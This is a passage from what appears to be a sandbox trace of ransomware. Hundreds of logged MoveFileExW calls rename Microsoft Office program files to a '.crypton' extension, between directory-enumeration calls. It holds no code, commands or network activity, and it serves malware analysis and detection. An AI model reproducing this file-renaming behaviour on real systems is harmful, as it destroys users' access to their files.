Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif.crypton"), dwFlags=0x2) returned 1 [0096.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif.crypton"), dwFlags=0x2) returned 1 [0096.972] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif.crypton"), dwFlags=0x2) returned 1 [0097.011] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif.crypton"), dwFlags=0x2) returned 1 [0097.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif.crypton"), dwFlags=0x2) returned 1 [0097.079] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif.crypton"), dwFlags=0x2) returned 1 [0097.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif.crypton"), dwFlags=0x2) returned 1 [0097.088] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif.crypton"), dwFlags=0x2) returned 1 [0097.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif.crypton"), dwFlags=0x2) returned 1 [0097.102] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif.crypton"), dwFlags=0x2) returned 1 [0097.108] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif.crypton"), dwFlags=0x2) returned 1 [0097.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif.crypton"), dwFlags=0x2) returned 1 [0097.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif.crypton"), dwFlags=0x2) returned 1 [0097.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif.crypton"), dwFlags=0x2) returned 1 [0097.148] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif.crypton"), dwFlags=0x2) returned 1 [0097.163] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif.crypton"), dwFlags=0x2) returned 1 [0097.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48b.gif.crypton"), dwFlags=0x2) returned 1 [0097.199] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR48F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir48f.gif.crypton"), dwFlags=0x2) returned 1 [0097.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49b.gif.crypton"), dwFlags=0x2) returned 1 [0097.227] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR49F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir49f.gif.crypton"), dwFlags=0x2) returned 1 [0097.237] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4b.gif.crypton"), dwFlags=0x2) returned 1 [0097.262] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR4F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir4f.gif.crypton"), dwFlags=0x2) returned 1 [0097.268] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50b.gif.crypton"), dwFlags=0x2) returned 1 [0097.275] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR50F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir50f.gif.crypton"), dwFlags=0x2) returned 1 [0097.284] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51b.gif.crypton"), dwFlags=0x2) returned 1 [0097.290] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR51F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir51f.gif.crypton"), dwFlags=0x2) returned 1 [0097.304] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5b.gif.crypton"), dwFlags=0x2) returned 1 [0097.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR5F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir5f.gif.crypton"), dwFlags=0x2) returned 1 [0097.346] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6b.gif.crypton"), dwFlags=0x2) returned 1 [0097.358] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR6F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir6f.gif.crypton"), dwFlags=0x2) returned 1 [0097.373] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7b.gif.crypton"), dwFlags=0x2) returned 1 [0097.389] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR7F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir7f.gif.crypton"), dwFlags=0x2) returned 1 [0097.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8b.gif.crypton"), dwFlags=0x2) returned 1 [0097.406] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR8F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir8f.gif.crypton"), dwFlags=0x2) returned 1 [0097.417] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9B.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9b.gif.crypton"), dwFlags=0x2) returned 1 [0097.432] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR9F.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir9f.gif.crypton"), dwFlags=0x2) returned 1 [0097.439] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76ff7c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb76ff7c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0097.446] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.crypton"), dwFlags=0x2) returned 1 [0097.456] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.crypton"), dwFlags=0x2) returned 1 [0097.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.crypton"), dwFlags=0x2) returned 1 [0097.472] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Distinctive.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\distinctive.dotx.crypton"), dwFlags=0x2) returned 1 [0097.479] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Elegant.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\elegant.dotx.crypton"), dwFlags=0x2) returned 1 [0097.488] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.crypton"), dwFlags=0x2) returned 1 [0097.497] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.crypton"), dwFlags=0x2) returned 1 [0097.505] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx.crypton"), dwFlags=0x2) returned 1 [0097.513] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.crypton"), dwFlags=0x2) returned 1 [0098.085] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.crypton"), dwFlags=0x2) returned 1 [0098.100] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.crypton"), dwFlags=0x2) returned 1 [0098.107] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.crypton"), dwFlags=0x2) returned 1 [0098.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.crypton"), dwFlags=0x2) returned 1 [0098.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.crypton"), dwFlags=0x2) returned 1 [0098.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.crypton"), dwFlags=0x2) returned 1 [0098.139] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SKY.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sky.css.crypton"), dwFlags=0x2) returned 1 [0098.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.crypton"), dwFlags=0x2) returned 1 [0098.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.crypton"), dwFlags=0x2) returned 1 [0098.159] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.crypton"), dwFlags=0x2) returned 1 [0098.163] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SUNNY.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunny.css.crypton"), dwFlags=0x2) returned 1 [0098.175] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\SUNSET.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sunset.css.crypton"), dwFlags=0x2) returned 1 [0098.180] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\TERRCOTT.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\terrcott.css.crypton"), dwFlags=0x2) returned 1 [0098.185] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.crypton"), dwFlags=0x2) returned 1 [0098.190] GetFileType (hFile=0x198) returned 0x1 [0098.194] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xb7e239c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb7e239c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", 